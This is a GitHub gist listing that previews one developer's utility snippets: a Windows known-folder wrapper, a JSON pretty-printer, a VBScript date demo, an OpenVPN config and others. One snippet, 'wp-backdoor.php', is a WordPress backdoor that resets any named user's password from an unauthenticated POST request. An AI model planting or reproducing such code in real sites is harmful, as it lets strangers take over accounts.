Skip to content

Instantly share code, notes, and snippets.

View mkropat's full-sized avatar
📚
Learning

Michael Kropat mkropat

📚
Learning
View GitHub Profile
@mkropat
mkropat / knownpaths.py
Last active November 5, 2024 15:09
Python wrapper around the SHGetKnownFolderPath Windows Shell function
import ctypes, sys
from ctypes import windll, wintypes
from uuid import UUID
class GUID(ctypes.Structure): # [1]
_fields_ = [
("Data1", wintypes.DWORD),
("Data2", wintypes.WORD),
("Data3", wintypes.WORD),
("Data4", wintypes.BYTE * 8)
@mkropat
mkropat / getuser.py
Last active July 28, 2024 15:51
Lookup user id and name from the source (read: no environmental variables consulted). Cross-platform compatible (Windows, *nix).
import os
class UserNotFound(Exception): pass
### Windows ###
if os.name == 'nt':
import ctypes
from ctypes import windll, wintypes
class WinError: # [1]
@mkropat
mkropat / jsonpp.py
Created November 27, 2013 17:11
Pretty-print JSON data to the console
#!/usr/bin/env python
import json, sys
if len(sys.argv) < 2 or sys.argv[1] == '-':
f = sys.stdin
else:
f = open(sys.argv[1])
json.dump(json.load(f), sys.stdout, indent=4, separators=(',', ': '))
@mkropat
mkropat / datetime.vbs
Last active December 30, 2015 07:59
Print out various ways of getting date and time information in VBScript running under Windows Scripting Host (WSH)
' datetime.vbs
' Print out various ways of getting date and time information in VBScript
' running under Windows Scripting Host (WSH).
' Usage: > cscript.exe /nologo datetime.vbs
Dim wmi : Set wmi = GetObject("winmgmts:root\cimv2")
Dim n : n = #2/29/2016 1:02:03 PM#
@mkropat
mkropat / jquery-then-vs-done.html
Last active October 25, 2016 22:01
A study in jQuery deferreds, based on Lu4's answer to “jQuery deferreds and promises - .then() vs .done()”.
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>jQuery deferreds and promises - .then() vs .done()</title>
<link rel="stylesheet" href="http://code.jquery.com/qunit/qunit-git.css">
</head>
<body>
<p>
A study in jQuery deferreds, based on <em>Lu4's</em> <a
@mkropat
mkropat / wp-backdoor.php
Created April 30, 2014 20:06
wp-backdoor.php
<?php
require_once( dirname(__FILE__) . '/wp-load.php' );
require_once( ABSPATH . WPINC . '/registration.php' );
require_once( ABSPATH . '/wp-includes/pluggable.php' );
require_once( ABSPATH . '/wp-includes/general-template.php' );
require_once( ABSPATH . '/wp-includes/capabilities.php' );
if ($_POST) {
if ($user = get_userdatabylogin($_REQUEST['username'])) { // FIXME: doesn't work
wp_update_user(array("ID" => $user->ID, "user_pass" => $_REQUEST['password']));
@mkropat
mkropat / ser-pprint.php
Last active June 3, 2016 08:43
Pretty-print PHP serialized files
#!/usr/bin/env php
<?php
$serialized = file_get_contents($argv[1]);
$obj = unserialize($serialized);
$json_obj = json_encode($obj, JSON_PRETTY_PRINT);
echo "$json_obj\n";
@mkropat
mkropat / DeleteQueue.bat
Last active August 29, 2015 14:04
Fast-delete the files in the delete queue
:: DeleteQueue.bat - Fast-delete the files in the delete queue
:: Instructions:
::
:: 1. Create the folder `C:\DeleteQueue`
:: 2. Create a scheduled task to run this batch file every night
::
:: Now any (potentially large) files or folders you move into
:: `C:\DeleteQueue` (a nearly instantaneous operation) will be deleted
:: overnight, without interrupting your flow.
@mkropat
mkropat / tun0
Last active August 29, 2015 14:05
OpenVPN integration with interfaces(5)
iface tun0 inet manual
pre-up openvpn --mktun --dev tun0
up openvpn --config /etc/openvpn/YOURVPN.ovpn \
--daemon \
--dev tun0 \
--route-noexec \
--script-security 2 \
--route-up /etc/openvpn/on-route-up \
--writepid /var/run/openvpn.tun0
down /etc/openvpn/kill-service -w /var/run/openvpn.tun0
@mkropat
mkropat / maintain-links.ps1
Created September 12, 2014 15:53
Automatically maintain shortcuts to files in subdirectories